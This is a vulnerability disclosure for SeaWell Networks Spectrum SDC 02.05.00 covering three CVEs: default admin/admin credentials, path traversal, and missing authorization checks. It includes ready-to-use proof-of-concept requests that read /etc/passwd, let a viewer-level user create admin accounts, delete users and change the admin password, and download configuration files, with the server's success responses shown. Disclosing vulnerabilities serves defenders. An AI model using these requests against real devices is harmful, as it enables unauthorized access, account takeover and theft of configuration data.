SeaWell Networks Spectrum - Multiple Vulnerabilities

# Exploit Title: [SeaWell Networks Spectrum - Multiple Vulnerabilities]

# Discovered by: Karn Ganeshen

# Vendor Homepage: [http://www.seawellnetworks.com/spectrum/]

# Versions Reported: [Spectrum SDC 02.05.00, Build 02.05.00.0016]

 

CVE-ID:

CVE-2015-8282

CVE-2015-8283

CVE-2015-8284



About SeaWell Networks Spectrum



Session Delivery Control



SeaWell set out to improve the way operators control, monetize and scale their IP video offerings, to meet the growing subscriber demands for video delivered to smartphones, tablets and game consoles.



The result – Spectrum – is what we call a “Multiscreen 2.0” Session Delivery Controller.



Spectrum is high-performance, carrier-grade software that takes ABR video and repackages it – on-the-fly – into any other protocol, including Apple HLS, Adobe HDS, Microsoft Smooth Streaming and MPEG-DASH.



http://www.seawellnetworks.com/spectrum/



Affected version

Spectrum SDC 02.05.00

Build 02.05.00.0016

Copyright (c) 2015 SeaWell Networks Inc.



A. CWE-255: Credentials Management

CVE-2015-8282



Weak, default login credentials - admin / admin



B. CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CVE-2015-8283



The configure_manage.php module accepts a file parameter which takes an unrestricted file path as input, allowing an attacker (non-admin, low- privileged user) to read arbitrary files on the system.



PoC:



https://IP/configure_manage.php?action=download_config&file=../../../../../../../../../etc/passwd



C. CWE-285: Improper Authorization

CVE-2015-8284



A low privileged, non-admin user, with only viewer privileges, can perform administrative functions, such as create, update, delete a user (including admin user), or access device's configuration files (policy.xml, cookie_config.xml, systemCfg.xml). The application lacks Authorization controls to restrict any non-admin users from performing admin functions.



The application users can have admin or viewer privilege levels. Admin has full access to the device. Viewer has access to very restricted functions.



It is possible for a viewer priv user to perform admin functions.



PoC:



Add new user [Admin function only]



GET /system_manage.php?username=viewer&password=viewer&password=viewer&userlevel=1&action=add_user&ekey=&LActiveRow= HTTP/1.1



https://IP/system_manage.php?username=viewer1&password=viewer&password=viewer&userlevel=9&action=add_user&ekey=&LActiveRow=



Here



admin -> userlevel=9

viewer -> userlevel=1



Create new user with Admin privs

Log in as viewer - try create new admin user - viewer1



https://IP/system_manage.php?username=viewer1&password=viewer&password=viewer&userlevel=9&action=add_user&ekey=&LActiveRow=



<result><returnCode>0</returnCode><returnMsg>Success</returnMsg><loggedIn>1</loggedIn><payload/></result>



Delete user



https://IP/system_manage.php?username=viewer1&password=&password=&userlevel=9&action=delete_user&ekey=4&LActiveRow=sys_Luser_4



Modify existing user (including admin)

log in as viewer - try change system (admin) user



https://IP/system_manage.php?username=system&password=&password=&userlevel=9&action=delete_user&ekey=4&LActiveRow=sys_Luser_4



<result><returnCode>0</returnCode><returnMsg>Success</returnMsg><loggedIn>1</loggedIn><payload/></result>



Change Admin password

log in as viewer - try change admin pass



https://IP/system_manage.php?username=admin&password=admin1&password=admin1&userlevel=9&action=update_user&ekey=3&LActiveRow=sys_Luser_3



<result><returnCode>0</returnCode><returnMsg>Success</returnMsg><loggedIn>1</loggedIn><payload/></result>



Downloading configuration xml files



viewer priv user has no access/option to config xmls via GUI. It is possible to download the configs by calling the url directly



Access policy config xml

https://IP/configure_manage.php?action=download_config&file=policy.xml



Access cookie config xml

https://IP/configure_manage.php?action=download_config&file=cookie_config.xml



Access system config xml

https://IP/configure_manage.php?action=download_config&file=systemCfg.xml



+++++

-- 

Best Regards,

Karn Ganeshen